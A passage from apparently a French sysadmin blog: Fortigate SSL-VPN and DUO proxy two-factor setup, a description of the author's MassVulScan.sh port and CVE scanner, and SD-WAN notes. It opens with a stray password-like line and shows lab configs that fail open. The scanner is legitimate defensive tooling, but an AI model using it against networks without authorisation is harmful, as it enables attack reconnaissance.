Password L@ Securite est l affaire de t0us !!

Faire attention de bien saisir le CN de cette façon et d’indiquer le chemin complet pour l’utilisateur.

Un exemple ci-dessous, « Connection status » doit indiqué « Successful » :

La connexion au serveur est un succès

Serveur de secours :

Ensuite, nous pourrions configurer sur le Fortigate un second serveur LDAP (DUO Proxy) de secours de la même manière, cela fonctionnerait. Le problème dans cette configuration c’est que les deux serveurs seraient interrogés en même temps et que l’usager recevrait systématiquement deux demandes de validation pour le 2FA… ce qui ne donne pas une bonne expérience côté utilisateur vous conviendrez.

Aussi, nous allons procéder différent et configurer réellement un serveur de secours au principal mais cela ne peut se faire uniquement qu’en ligne de commande (CLI) avec le paramètre « set secondary-server » :

config user ldap
edit « DUOPROXY »
set server « DUOPXY01.acme.corp »
set secondary-server « DUOPXY02.acme.corp »
set source-ip 10.20.30.40
set cnid « sAMAccountName »
set dn « DC=acme,DC=corp »
set type regular
set username « CN=ldap-query-svc,OU=ACME,OU=Service Accounts,DC=acme,DC=corp »
set password ENC MTAwMKc0g0TL69uXauUZuYdZgAHh6626….
set password-expiry-warning enable
set password-renewal enable

next
end

Dans cette configuration, si le serveur principal n’est pas joignable (durant une maintenance par exemple), le Fortigate enverra automatiquement les requêtes sur le serveur de secours.

Malheureusement, cette information ne sera jamais visible dans l’interface graphique (GUI), en tous les cas jusqu’à ce jour, il faut donc garder cela en tête.

Il est toujours bon de préciser la source (IPv4) qui se connecte aux serveurs pour une meilleure traçabilité et gestion des flux réseaux (set source-ip).

Et j’active également les messages via FortiClient afin d’avertir l’usager si son mot de passe venait à expirer prochainement et/ou si ce dernier devait le changer (set password-*). Ce qui n’est pas activé par défaut et seulement activable par CLI là aussi.

Fortigate – Groupes locaux

Nous devons maintenant créer des groupes locaux qui pointeront vers ceux de l’annuaire d’entreprise via nos nouveaux serveurs LDAP.

Prenons l’exemple du groupe « VPN_DUO_TEST » qui servira pour nos tests à se connecter à distance avec le FortiClient, il faut se rendre ici (interface GUI), le cas échéant se positionner sur le bon « VDOM » :

/User & Device/User Groups puis « Create New« 

Type Firewall
Members Ne rien mettre
Remote Groups Cliquer sur « Add » et choisir le nouveau « Remote Server »

Exemple ci-dessous :

Début de création du groupe local

Ce n’est pas fini, nous devons maintenant indiquer à quel groupe « distant » (= AD) est relié notre groupe local. Pour cela, il faut faire un double clic sur la ligne en jaune où se trouve le serveur LDAP « DUOPROXY ». Ensuite, dans le champ de recherche on indique le nom du groupe (= CN) que l’on cherche, comme ci-dessous (cela peut-être n’importe quel nom) :

On doit chercher le groupe sur l’annuaire d’entreprise

Faire un clic droit sur la ligne qui nous intéresse, cliquer sur « Add Selected » et enfin terminé par « OK » :

Sélection du groupe
Le groupe est sélectionné (une pastille apparaît)
On valide la sélection

Notre groupe est bien présent mais sans référence pour le moment (= non utilisé pour l’instant) :

Le groupe est créé

Pour plus de clarté, il est préférable de ne faire corresponde qu’un seul groupe local à un groupe « distant » de l’AD (du 1 pour 1 donc).

Fortigate – VPN

Une fois le groupe créé nous devons créer et lui « affecter » un portail et lui permettre ainsi de se connecter au Fortigate.

Il faut pour cela se rendre dans le menu « VPN« . Si il n’est pas visible il suffit d’activer la fonction dans « System/Feature Visibility » et choisir « SSL-VPN Realms » (uniquement).

Cliquer ensuite sur le menu « SSL-VPN Portals« . Il est préférable de distinguer les connexions suivant leur finalité. Par exemple ici nous avons 4 portails distincts :

Différents portails VPN SSL

L’intérêt de faire cela est d’appliquer des options différentes suivant qui se connecte. Comme ici, nous avons par exemple le portail des « utilisateurs classiques » qui possède son propre range d’adresses IPv4 (pour le filtrage), son propre routage (split tunneling), on interdit d’avoir plusieurs connexions actives avec le même compte, mode « Tunnel » uniquement, etc…

Une fois le portail créé, nous devons l’affecter au groupe précédemment créé. Il faut se rendre dans le menu « SSL-VPN Settings » et créer la relation entre le groupe local et le portail voulu en cliquant sur « Create New » :

On créé et on affecte le portail à notre groupe local
On sélectionne le groupe local et portail

Une fois terminé, vous devriez avoir une page comme celle-ci, il ne reste plus qu’à valider les changements :

Paramètres appliqués à VPN SSL

Vous noterez qu’il est préférable de choisir un port « non standard » pour les accès externes même si cela obligera certains compagnies à ouvrir le flux en sortie. Il faut également prévoir un délai d’inactivité afin de faire tomber la connexion. Enfin, il est conseillé d’utiliser un certificat public valide et reconnu par une autorité certification.

Fortigate – Filtrage

Nous terminons la configuration en ajoutant les règles filtrage afin d’autoriser concrètement la connexion VPN SSL en précisant les flux réseaux permis.

Dans notre cas nous prendrons pour exemple l’accès à un intranet d’entreprise, Sharepoint :

Règles de firewall

Comme vous le voyez il faut également ne pas oublier d’ajouter le flux pour les requêtes DNS car les usagers utiliseront certainement le nom des serveurs.

A noter que l’interface source sera toujours « SSL-VPN tunnel » et qu’en source il faudra toujours préciser le range d’adresses IPv4 + le groupe local créé précédemment. Et le NAT ne doit pas être activé.

Une précision : le choix d’attribution de l’adresse IP est fait au moment de l’affectation du portail pour le groupe (étape précédente). En d’autres termes, ici avec la règle de filtrage, c’est le groupe qui va « orienter » le choix de l’adresse IPv4 qui est attribuée et non le fait de mettre tel ou tel range d’adresse IP (en bleu dans l’exemple).

Fortigate – Timeout (important)

Dans les sections précédentes nous avons vu quelques « astuces » seulement activables par ligne de commande (CLI), comme l’ajout d’un serveur de secours et les notifications lors de l’expiration des mots de passe.

Il reste un dernier changement important à faire pour laisser le temps à l’usager de valider ou non la demande de connexion lors de la deuxième authentification (si accès frauduleux ou erreur).

En effet, par défaut, le Fortigate n’attendra que 5 secondes. Ce qui est problématique car cela ne laisse pas assez de temps à l’usager de sortir son smartphone par exemple ou de recevoir l’appel téléphonique pour agir (voir Méthodes DUO offertes).

Nous allons donc devoir augmenter ce temps d’attente à 60 secondes, ce qui est largement suffisant.

Il faut pour cela se rendre en ligne de commande dans la configuration globale, comme ici dans la démo, cliquer sur le signe « >_ » :

On change la durée d’attente globale

Tout est prêt, nous allons pouvoir passer au FortiClient, le premier cas d’utilisation.

FortiClient – Installation et configuration

Installation

Pour valider le fonctionnement de l’ensemble, il est nécessaire d’installer et de configurer le FortiClient sur son PC/Mac (ou Tablette dans l’App store). Il s’agit d’un client VPN disponible sur de nombreuses plateformes :

https://forticlient.com/downloads

Cette version « allégée » est suffisante pour nos tests :

Télécharger la dernière version du FortiClient

L’installation est très intuitive mais il faut les droits d’administration.

Configuration

Il faut créer une nouvelle connexion comme ici en cliquant sur la petite roue crantée en haut à droite dans le menu « REMOTE ACCESS » :

Ajouter une nouvelle connexion

Il peut être nécessaire de déverrouiller l’accès avant en bas à gauche :

Si besoin, déverrouiller l’accès aux paramétrage

Puis saisissez les informations correspondantes à votre environnement :

Paramètres de la nouvelle connexion VPN SSL

Bien se positionner sur le type de VPN « SSL-VPN », cocher la case « Customize port » et mettre le bon numéro de port dans la case correspondante. Et il faudra bien-sur créer une nouvelle entrée DNS publique. Enregistrer le tout.

Si vous voulez vérifier que le certificat est bien valide, il suffit de se rendre à cette l’URL avec votre navigateur depuis l’extérieur de votre entreprise : https://sslvpn.acme.com:12443

Test de connexion

Vous devrez ensuite créer un utilisateur sur votre annuaire d’entreprise et le mettre dans le groupe « distant » que nous avons relié au groupe local du firewall. Dans notre exemple le CN « VPN_DUO_TEST ».

Au niveau de la console FortiClient, sélectionnez votre connexion créée auparavant et saisir les informations de connexions, cliquer sur « Connect » comme ici :

Saisir les informations de connexion AD de l’utilisateur

Ensuite, la connexion va commencer à s’établir puis s’arrêter à 45%, l’usager aura 60 secondes pour répondre :

La connexion complète ne peut se faire qu’avec l’accord de l’usager

Une fois que l’utilisateur valide, la connexion s’établie.

En cas d’échec, il faudra vérifier les fichiers de logs sur serveur, notamment le fichier nommé « authevents » qui sera d’une grande aide pour identifier la ou les causes. Se référer au premier article pour plus de détails, section « Lancement et fichiers de logs ».

Mot de la fin

Nous venons de voir une manière de configurer un Fortigate avec un serveur DUO Authentication Proxy afin d’activer la double authentification pour les connexions VPN SSL avec FortiClient.

Nous verrons dans l’article suivant comment utiliser la même méthode pour l’administration des Fortigate.

Pour connaître les différentes méthodes de validation côté utilisateur avec DUO et son enrôlement, il faut vous rendre au dernier article de la série (4/4) – en cours de rédaction.

02 Fév

Double authentification (2FA) avec un Fortigate via LDAP(S) : DUO Authentication Proxy (1/4)

Objectif et contexte

Cet article décrit comment déployer une solution d’authentification à deux facteurs (2FA) afin de sécuriser davantage les accès aux ressources informatiques d’une entreprise, depuis l’internet ou le réseau local.

La solution présentée ici est celle de la société Duo Security qui se nomme « DUO Authentication Proxy« . Il s’agit d’une solution « sur site » (on-promises) accessible librement qui s’intègre aussi bien avec un service d’annuaire (Active Directory) via le protocole applicatif LDAP(S) qu’un serveur de stratégie réseau (NPS) déployé en tant que serveur Radius.

L’autre avantage de cette solution est de proposer une version d’essai de 30 jours à la version « Duo Access » qui permet d’avoir un bon aperçu de leur solution. On bascule ensuite automatiquement à la version gratuite appelée « Duo Free » qui permet d’enregistrer jusqu’à 10 utilisateurs, toujours compatible avec l’application « DUO Authentication Proxy « .

Dans cette première partie, nous étudierons que la partie DUO et ce en mode LDAP(S), rapidement suivra d’autres articles dédiés au Fortigate et FortiClient.

Vue d’ensemble

Le serveur  » DUO Authentication Proxy  » aura pour fonction « d’intercepter » les requêtes de demande d’authentification (LDAP, RADIUS etc…) et de les relayer aux différents serveurs concernés (contrôleurs de domaine, serveur Radius etc…).

Il jouera le rôle de « mandataire » et devra valider les accès lors de la première demande d’authentification « classique » puis effectuera une deuxième demande d’authentification via un second mécanisme différent qui lui est propre.

Pour cette deuxième demande d’authentification, ce serveur « intermédiaire » utilise sa propre infrastructure Cloud à partir de laquelle il communiquera avec l’utilisateur et validera ou non l’accès.

Schéma réseau

Ci-dessous les différentes étapes successives permettant de valider ou non l’accès à l’utilisateur final.

Dans cet exemple, il s’agit d’une demande de connexion distante depuis le client FortiClient de Fortinet pour établir un tunnel (VPN SSL). Le serveur « Duo Authentication Proxy » se situe au cœur de ce schéma réseau et communique directement avec les serveurs internes et le Cloud Duo :

Les différentes étapes pour établir un tunnel avec la double authentification
  1. Première demande d’authentification initiée sur le Firewall Fortinet Fortigate via SSL VPN (FortiClient)
  2. Le firewall transmet cette demande au serveur « Duo Authentication Proxy »
  3. Le serveur « Duo Authentication Proxy » transmet à son tour la requête aux serveurs de l’entreprise (via LDAP/RADIUS)
  4. En cas de succès, le serveur établit une connexion sécurisée avec les serveurs de Duo Security (via HTTPS)
  5. Si l’utilisateur existe, une seconde demande d’authentification est faite auprès de ce dernier
  6. Le serveur reçoit la réponse de l’utilisateur (via PUSH/SMS/PHONE)
  7. Si la demande est bien approuvée, le firewall accorde l’accès à l’utilisateur.

Prérequis et installation

Nous utiliserons deux serveurs sous OS windows pour la redondance, voici la liste des prérequis pour l’installation de l’application :

  • Deux serveurs virtuels ou physiques avec Windows Server 2016 :
    • 1 CPU, 4 GB de RAM et 40 GB d’espace disque (chacun)
  • Créer un compte sur le site de Duo Security : https://signup.duo.com/
  • Générer et récupérer les informations de connexion sur le Cloud Duo Security (API) : https://admin.duosecurity.com
    • Il faut créer une API via le menu « Application« 
    • Cliquer sur le bouton bleu en haut à droite « Protect an Application« 
    • Chercher l’application « Fortinet » et cliquer sur le lien « Protect this application« 
    • Cliquer sur l’application « Fortinet FortiGate SSL VPN« 
    • Copier/coller les trois valeurs « Integration key« , « Secret key » et « API hostname« 
  • Télécharger la dernière version de l’application ( ~12 Mo ) : https://dl.duosecurity.com/duoauthproxy-latest.exe
  • Vérifier l’intégrité du fichier téléchargé (SHA-256) : https://duo.com/docs/checksums#duo-authentication-proxy
  • Ouvrir les flux réseaux en sortie (HTTPS 443) : https://help.duo.com/s/article/1337?language=en_US
  • Ouvrir les flux réseaux sur le réseau interne :
    • Depuis le serveur Duo vers le ou les contrôleurs de domaine : ports TCP 389 (LDAP) et 636 (LDAPS)
    • Depuis le firewall Fortigate vers le serveur Duo : ports TCP 389 (LDAP) et 636 (LDAPS)
  • Un compte de service dédié en lecture (seulement) pour pouvoir interroger l’Active Directory

Petite astuce pour vérifier le checksum d’un fichier avec PowerShell :

PS C:\Users\[username]\Downloads> Get-FileHash .\duoauthproxy-3.2.1.exe -Algorithm SHA256 | Format-List

Utiliser PowerShell pour vérifier le checksum d’un fichier

L’Installation est ensuite très intuitive, il faut utiliser un compte avec des droits d’administrateur et lancer l’exécutable.

Si besoin : https://duo.com/docs/authproxy-reference#installation

Fichier de configuration

A ce stade l’application ou plutôt le service n’est pas encore démarré, il faudra d’abord remplir le fichier de configuration qui se trouve ici :

C:\Program Files (x86)\Duo Security Authentication Proxy\conf\authproxy.cfg

Emplacement du fichier de configuration du serveur Duo

De préférence utiliser un éditeur de texte du type Notepad++ pour éviter les éventuels caractères parasites (retours chariots etc…).

Il faut ouvrir le fichier avec les droits d’administrateur et préciser différentes « sections » dans lesquelles nous allons mettre les paramètres et leur valeur.

Section [main]

La première section que nous devons configurer est la section [main] qui permet, notamment de :

  • Activer le mode « debug » au besoin (debug),
  • Inscrire dans un fichier toutes les tentatives d’authentification réussie ou non (log_auth_events),
  • Définir le nombre maximum de fichiers de logs à conserver par type de fichier (log_max_files),
  • Définir la taille maximale des fichiers de logs (log_max_size),
  • L’interface ou les interfaces d’écoute pour les requêtes LDAP/Radius (interface),
  • Et enfin d’activer ou non les tests de connectivité au (re)démarrage du service (test_connectivity_on_startup).

Voici un exemple ci-dessous que vous pouvez utiliser avec les explications :

[main]
# On désactive le debug (par défaut le cas)
debug=false
# On logs les connexions des usagers
log_auth_events=true
# On ne conserve que 20 fichiers au maximum
log_max_files=20
# Taille maximale des fichiers en octets (bytes) : ici 20 Mo
log_max_size=20971520
# Une seule interface en écoute sur le serveur
interface=10.20.30.40
# On active le tests de connexion à chaque démarrage du service
test_connectivity_on_startup=true

Section à adapter en fonction de vos besoins et de votre plan d’adressage IPv4.

Comme on le voit il est possible de mettre des commentaires. Pour cela, différents caractères/mots peuvent être utilisés en début de ligne : REM, # (dièse) ou encore ; (point-virgule)

Remarque : il faut donc absolument éviter d’utiliser l’un de ces caractères ou mots pour les paramètres exigeant un mot de passe comme nous le verrons plus bas. Si on opte pour utiliser les mots de passe en clair dans le fichier, cela risque de poser problème.

Sections [ad_client] et [ldap_server_auto]

Toujours dans le même fichier de configuration, on continue avec les sections [ad_client] et [ldap_server_auto] qui permettront d’un côté au serveur de se connecter aux contrôleurs de domaine de l’entreprise et d’autre de recevoir les requêtes de type LDAP(S) depuis le Fortigate.

Dans notre cas, ces deux sections, l’une pour le mode « client » et l’autre pour le mode « serveur », serviront notamment pour :

  • Authentifier les usagers comme les consultants qui se connectent avec l’application FortiClient (tunnel VPN SSL)
  • Authentifier les administrateurs qui se connectent sur les firewalls Fortigate

Voici un exemple ci-dessous que vous pouvez utiliser avec les explications détaillées plus bas :

[ad_client]
# Indiquer les différents contrôleurs de domaine
host=DC01.acme.corp
host_2=DC02.acme.corp
# Compte de service utilisé
service_account_username=ldap-query-svc
service_account_password_protected=[mot de passe chiffré avec l’utilitaire « authproxy_passwd.exe »]
search_dn=DC=acme,DC=corp
# On utilise le protocole sécurisé LDAPS (SSL), sinon mettre la valeur « clear » pour LDAP
transport=ldaps
# On ne vérifie pas le certificat du ou des contrôleurs de domaine
ssl_verify_hostname=false

[ldap_server_auto]
# Informations de connexion à l’API Cloud Duo Security
ikey=[copier/coller la clé au format DIXXXXXXXXXXXXXXXXXX]
skey_protected=[clé chiffrée avec l’utilitaire « authproxy_passwd.exe »]
api_host=[copier/coller le hostname au format api-XXXXXXXX.duosecurity.com]
# On indique le client que l’on utilise pour se connecter aux contrôleurs de domaine, en l’occurrence celui crée plus haut
client=ad_client
# On laisse passer la connexion si 2FA échoue
failmode=safe

Dans la section [ad_client] il est important de préciser plusieurs contrôleurs de domaine pour la redondance et on utilisera de préférence le protocole LDAPS, plus sécurisé. On incrémente pour cela le paramètre « host » : host pour le premier DC, host_2 pour le second, host_3 etc… le même compte de service sera utilisé.

Pour mettre le paramètre « ssl_verify_hostname » à « true » il faudrait mettre les certificats de chacun des contrôleurs de domaine dans le même répertoire que le fichier de configuration (ce qui est bien-sûr une bonne pratique). Ce ne sera pas le cas ici pour nos tests.

Dans la section [ldap_server_auto] trois groupes de données sont importants :

  • La partie Duo Security Cloud (ikey, skey et api),
  • Le client qui doit être utilisé (client),
  • Et enfin le comportement à adopter en cas d’échec de la connexion avec le Cloud de Duo (failmode).

Ici, si la double authentification ne fonctionne pas mais que l’authentification principale ou « classique » fonctionne, on autorise la connexion (mode=safe).

Il est possible de durcir la sécurité en passant au mode « secure », qui cette fois bloquerait la connexion, au risque par contre de perturber ou gêner l’administration en cas d’incident réel.

Par défaut le serveur écoutera sur le port standard TCP 389 et recevra donc les requêtes via le protocole LDAP. On imagine que ce serveur est DMZ et que seul les firewalls Fortigate s’y connecte pour l’instant.

Un point crucial ici est le chiffrement des mots de passe : aucun mot de passe ne devrait être présent en clair dans le fichier de configuration une fois le service en production.

Cela concerne les deux champs « service_account_password_protected » et « skey_protected ». Les informations à protéger sont ici chiffrées.

Il faut pour cela utiliser l’un des utilitaires fourni avec l’application qui se trouve ici :

C:\Program Files (x86)\Duo Security Authentication Proxy\bin\authproxy_passwd.exe

Il suffit de lancer l’utilitaire en ligne de commande, de taper le mot de passe ou la clé puis de copier/coller le résultat, comme ici en jaune, dans le fichier de configuration :

L’utilitaire « authproxy_passwd.exe » permet de chiffrer les informations sensibles

Fichier complet

Vous trouverez ici un exemple de fichier complet (sans commentaire) à remplir avec vos propres informations :

Lancement et fichiers de logs

Le démarrage du service peut se faire directement dans les services ou bien en ligne de commande (administrateur) :

net start duoauthproxy

Lancement du service en ligne de commande

Le nouveau service Windows sera lancé, qui par défaut, est exécuté avec le compte système local :

Le service est démarré

Lors du démarrage, quatre fichiers de logs seront automatiquement créés dans le répertoire « log » :

C:\Program Files (x86)\Duo Security Authentication Proxy\log

Ceux qui nous intéressent sont en jaune, le dernier n’est pas utile dans notre cas :

Les 3 fichiers de log utiles au quotidien

connectivity_tool = dans ce fichier de log on peut voir l’état de la connexion du serveur avec le Cloud Duo Security lors d’un démarrage et permet de détecter un éventuel problème avec le fichier de configuration.

Par exemple ici les sections [ad_client] et [ldap_server_auto] sont correctes :

Pas d’erreur au lancement du service

Ici un autre cas où le certificat du contrôleur de domaine est manquant dans la section [ad_client] :

Le certificat du contrôleur de domaine est manquant

authproxy = ce fichier de log est complémentaire au fichier précèdent qui apportera d’autres informations lors du démarrage de l’application et indiquera si les ports sont bien en écoute ou pas. Il permettra également de voir les connexions « clientes » à savoir les Firewalls (LDAP et LDAPS) et équipements réseaux (Radius).

authevents = ce fichier au format JSON contient tous les évènements d’authentification des usagers. Cela permet rapidement de voir pourquoi une tentative de connexion aurait échouée, pour les deux niveaux d’authentification.

Quelques exemples ci-dessous :

Cas où l’usager n’existe pas ou bien que le mot de passe n’a pas été saisi
Ici l’usager n’est pas connu chez Duo Security et un cas où il a dépassé le délai pour répondre

Important : tout changement dans le fichier de configuration nécessite un redémarrage du service pour que cela soit pris en compte, ici en ligne de commande :

net stop duoauthproxy & net start duoauthproxy

Mise à jour

La procédure de mise à jour de l’application est très simple :

  1. Télécharger la dernière version de l’application : https://dl.duosecurity.com/duoauthproxy-latest.exe
  2. Lancer l’exécutable en tant qu’administrateur et suivre les indications qui s’affichent à l’écran. Les fichiers de configuration et de logs seront préservés.
  3. Enfin, démarrer le service et vérifier les logs (connectivity_tool) : net start duoauthproxy

Remarques sur le « service »

J’ai remarqué que le service « DuoAuthProxy » ne démarrait pas toujours après un reboot suite à une maintenance par exemple.

Pour remédier au problème il m’a fallu modifier le type de démarrage à « Automatic (Delayed Start)« , comme ci-dessous :

On diffère le démarrage du service

De même pour le mode de récupération, où j’attends 5 minutes pour redémarrer le service après un incident :

On redémarre le service après 5 minutes

Mot de la fin

Dans cette première partie nous avons vu comment installer, configurer et interpréter les fichiers de logs du serveur DUO Authentication Proxy.

Nous allons voir dans un prochain article comment utiliser ce nouveau type de serveur à partir d’un firewall Fortigate du constructeur Fortinet.

On pourra ainsi activer la double authentification à des usagers qui se connectent avec Forticlient ou à des administrateurs réseau pour l’administrer.

20 Fév

MassVulScan.sh, identifiez rapidement les ports ouverts sur votre réseau et les hosts vulnérables

Introduction

Il y a quelques temps, je cherchais le moyen d’identifier rapidement et efficacement tous les ports accessibles sur différents sites distants connectés à Internet (la quantité de hosts publics représentait un /24). Et je voulais m’assurer, par la même occasion, qu’il n’y avait aucun host qui exposait un service comportant des failles connues.

Jusqu’à présent j’utilisais indépendamment différents outils comme les classiques, mais efficaces, Masscan et Nmap pour obtenir ce que je voulais. Après traitement des résultats, j’exportais cela dans un fichier texte ou un bête fichier HTML. C’est plutôt fastidieux et le processus mal optimisé.

J’ai commencé à chercher un outil qui permettait d’identifier rapidement les ports ouverts et de ne scanner que les hosts ayant un ou plusieurs de ces ports ouverts (et que ceux-ci). Le tout en traitement parallèle afin de gagner du temps. Et pour finir, qu’un beau rapport soit généré, facilement exploitable. Mais n’ayant pas trouvé ce que je cherchais, j’ai décidé de le développer moi-même (en bash) et le voici ! MassVulScan.sh !

L’idée est de combiner la puissance du scanner Masscan pour trouver des ports ouverts, l’efficacité du scanner Nmap pour identifier les services ouverts et leur version, et enfin le script NSE vulners.nse pour identifier les vulnérabilités potentielles (CVE).

Pour accélérer la phase de reconnaissance de Masscan, une phase préalable de découverte permet d’identifier rapidement les hosts en ligne à scanner.

Une fois la phase de reconnaissance terminée, le fichier de sortie est traité afin de trier et rassembler tous ports à scanner par host. Ce qui permet d’optimiser les scans de Nmap. Il y aura autant de sessions Nmap qu’il y aura de hosts à scanner avec des ports ouverts (deux sessions différentes par host si des ports sont découverts avec TCP et UDP).

Pour finir, deux rapports seront générés, l’un concernant les hosts ayant de potentielles vulnérabilités et le second concernant l’exhaustivité des hosts ayant des un ou plusieurs ports ouverts.

Téléchargement et installation

Vous trouverez tous les détails sur Github pour l’installation : https://github.com/choupit0/MassVulScan

Certains pré-requis seront nécessaires pour son fonctionnement, dont voici la liste :

  • apt : build-essential git wget tar libpcre3-dev libssl-dev libpcap-dev net-tools locate xsltproc ipcalc dnsutils netcat
  • git : masscan (min v1.0.5) et vulners.nse
  • source : nmap (min v7.70)

Pour ceux qui utilisent un OS de la famille Debian, leur installation ou mise à jour sera automatique 🙂

Paramètres

  • -f | –include-file : fichier des hosts à scanner, IP ou nom d’hôtes (paramètre obligatoire)
  • -x | –exclude-file : fichier des hosts à exclure du scan
  • -i | –interactive : choix des ports à scanner, vitesse (Masscan) et script NSE
  • -c | –check : détection des hosts en ligne
  • -a | –all-ports : scan exhaustif de tous les ports (1-65535, TCP/UDP), à 2k paquets/seconde et script vulners.nse
  • -r | –report : conserver la liste des adresses IP ayant un ou plusieurs ports ouverts
  • -n| –no-nmap-scan : détecter uniquement les ports ouverts

Explications

Le seul paramètre obligatoire est le fichier en entrée (-f | –include-file) qui doit inclure la liste des hosts ou sous-réseaux à scanner. J’ai fait ce choix car dans mon cas, de nombreux sous-réseaux (privés ou publiques) sont scannés, c’est plus simple à gérer avec des commentaires pour chacun.

Par défaut, seuls les 1000 ports les plus populaires seront scannés à une vitesse maximum de 2500 paquets par minute (pour Masscan) avec le script vulners.nse.

Il est aussi possible d’exclure des hosts ou sous-réseaux (-x | –exclude-file), même format de fichier que le fichier en entrée.

A noter que le script est compatible avec des adresses IP ou des noms d’hôtes.

Un autre paramètre peut être ajouté (-c | –check) si l’on souhaite au préalable identifier les hosts qui sont en ligne avant de lancer la phase d’identification des ports ouverts avec Masscan. Cela peut être un gain de temps considérable pour Masscan.

Une autre option disponible (-a | –all-ports) permet d’indiquer au script de scanner la totalité des ports de 1 à 65535 pour les protocoles TCP et UDP à une vitesse maximum de 2000 paquets par minute (pour Masscan). Attention, sur certains réseaux cela peut être trop élevé, passez par le mode interactif dans ce cas (ci-dessous). En effet, il peut y avoir des perturbations et vous risqueriez de perdre le contrôle… je vous suggère d’utiliser la commande « timeout » si vous n’êtes pas sûr de vous au début, c’est bien pratique.

Un autre paramètre est le mode interactif (-i | –interactive) qui vous permet de choisir la liste des ports à scanner ainsi que la vitesse de scan de Masscan et le script NSE (nmap) à utiliser.

Fonctionnement et particularités

Interfaces réseaux

J’ai commencé récemment à m’amuser sur le site de pen-testing https://www.hackthebox.eu, j’ai ainsi eu l’occasion de tester mon script et de l’améliorer pour le coup.

Il faut savoir que pour accéder aux différents labs, un VPN est monté avec OpenVPN. Dans mon cas, une nouvelle interface « tun0 » est créée avec une IPv4 dans le subnet 10.10.14.0/23, ainsi qu’une route pour atteindre les différents serveurs virtuels (10.10.10.0/24 via 10.10.14.1).

Le problème c’est que Masscan, qui est appelé au début du script, n’utilisera par défaut que l’interface qui possède la route par défaut, en l’occurrence celle d’Internet (« eth0 » par exemple)… du coup impossible de scanner les serveurs.

Le script détectera donc si plusieurs interfaces réseaux existent et vous demandera de sélectionner celle à utiliser pour atteindre les hosts. Pas de problèmes pour Nmap qui gère cela correctement : le scan d’un côté pour identifier les services (interface « tun0 ») et la récupération des CVE associées via une API chez https://vulners.com (interface « eth0 »).

Masscan -> Nmap, passage de relais

Dans un soucis d’efficacité, le script rassemblera tous les ports identifiés comme ouvert par host. C’est à dire qu’une fois que Masscan aura identifié tous les ports ouverts, le script fera un tri pour que Nmap puisse lancer la reconnaissance de services uniquement sur les ports ouverts. Exemple de fichier intermédiaire trié et préparé pour Nmap :

Fichiers d’entrées TCP et UDP pour Nmap

Nmap, plus rapide avec le parallélisme

Toujours dans un soucis de performance, le script lance autant d’instances Nmap qu’il y a de hosts à scanner, elle fonctionnent toutes en parallèles :

Lancement des scans Nmap

Ce qui fait que le temps maximum d’exécution de Nmap dépendra donc uniquement du scan qui aura pris le plus de temps, et non du temps total des scans Nmap si nous étions en mode « série » (à la queue leu-leu).

Il y a une gestion de queue avec une limite de 50 scans en parallèles maximum (variable à changer si besoin). Dès qu’un scan est terminé, un autre prend le relais.

Identification des CVE avec vulners.com

Pour l’identification des CVE, le script s’appuie donc sur le site de https://vulners.com via une API. Il en existe d’autres mais c’est le plus fiable que j’ai trouvé. De plus, il trie directement les CVE par ordre de criticité, ce qui est bien pratique :

Exemple de vulnérabilités identifiées et triées pour un host donné sur le port SMB/SAMBA

Le site fait un gros travail pour fournir des données les plus à jour possibles.

Rapports

Si après analyse des hosts ont été détectés comme « potentiellement » vulnérables, un fichier au format TXT sera généré comportant uniquement ceux-ci. Cela permet de se concentrer dessus (avec tentative de résolution reverse DNS) :

Rapport sur les hosts vulnérables

Ensuite, un second fichier au format HTML sera cette fois généré comportant l’exhaustivité des hosts identifiés avec des ports ouverts. Pour ce dernier, j’utilise l’excellent template Nmap XSL avec bootstrap « nmap-bootstrap.xsl » qui produit de beaux rapports et qui surtout permet de filtrer et trier nos résultats :

Rapport Nmap avec le template « nmap-bootstrap.xsl » sur les hosts ayant des ports ouverts

Performance

Pour évoquer la performance du script, un dessin vaut mieux qu’un long discours. Ci-dessous une capture d’écran du déroulement complet d’un scan dont voici les caractéristiques :

  • 235 hosts scannés
  • concernant 131068 ports (65534 ports tcp + 65534 ports udp)
  • à raison d’une cadence de 2500 paquets par seconde (Masscan)
  • puis 82 scans Nmap lancés en parallèles pour détecter les services actifs et vulnérabilités éventuelles
  • concernant 236 ports ouverts
  • et enfin génération des rapports
Seulement 03h30 pour scanner 235 hosts sur 131068 ports…

Il est toujours possible d’améliorer encore la vitesse d’execution du script en augmentant le nombre de paquets par seconde de Masscan, tout dépend de la qualité de vos liens Internet et de votre réseau interne.

Mais attention à ne pas perturber votre infrastructure, changez la valeur graduellement.

Mot de la fin

Voilà, j’espère que cet article vous donnera envie de tester mon script.

J’apporte régulièrement de nouvelles fonctions et cherche à l’optimiser constamment, je suis ouvert aux critiques et propositions d’amélioration.

Dernière chose, mon anglais n’est pas parfait, soyez indulgent ! (je parle du script).

Merci de m’avoir lu jusqu’au bout, j’attends vos commentaires maintenant 😉

16 Jan

Notes sur la technologie SD-WAN de Fortinet

Introduction

Je viens de passer plusieurs jours à tester la technologie SD-WAN de Fortinet sur des Fortigate (90D et 101E, FortiOS 6.0.3) à travers différents LAB/scénarii. Je dois dire que je suis assez bluffé dans l’ensemble.

Une fois que l’on comprend la logique/philosophie, on se retrouve finalement avec moins de règles de filtrage à gérer et qu’une seule route par défaut quasiment. Il devient alors possible de s’affranchir d’utiliser un protocole de routage dynamique type OSPF, de réduire le temps de bascule en cas de défaillance d’un lien et de gérer finement les flux applicatifs.

J’ai tout de même rencontré quelques soucis lors de la mise en oeuvre que je voulais partager avec vous dans ce billet…

Les stratégies SLA et leur application avec SD-WAN

L’une des forces de cette dernière version du FortiOS 6.0 est la gestion intelligente des liens en s’appuyant sur des SLA que l’on peut combiner : RTT, Jitter et nombre de paquets perdus etc…

On peut également choisir, voire définir, la stratégie à appliquer sur notre flux :

« Best Quality » sera plutôt utilisée pour les services de type VoIP, Fortigate utilisera toujours le lien avec les meilleurs exigences en matière de SLA, quel que soit le coût de la liaison. On recherche les meilleures performances pour les applications critiques.

On peut ainsi définir le critère de qualité principal à retenir voire de créer un profile spécifique avec nos critères :

On peut également privilégier un lien pour l’upload et/ou le download.

« Minimum Quality (SLA) » servira pour le reste du trafic, où l’on considérera aussi bien le SLA que le coût du lien. A noter qu’ici l’ordre de priorité des interfaces à son importance, si toutes les interfaces répondent aux critères de SLA, Fortigate utilisera le premier lien, même si ce n’est pas le meilleur.

Un exemple ici avec 2 liens VPN IPSec : J’ai simulé un lien dit « public » qui passe par Internet avec un RTT moyen de ~20ms et un second lien dit « privé » avec un RTT inférieur à <1ms

Dans ma stratégie j’ai volontairement choisi le lien avec le moins bon RTT en premier :

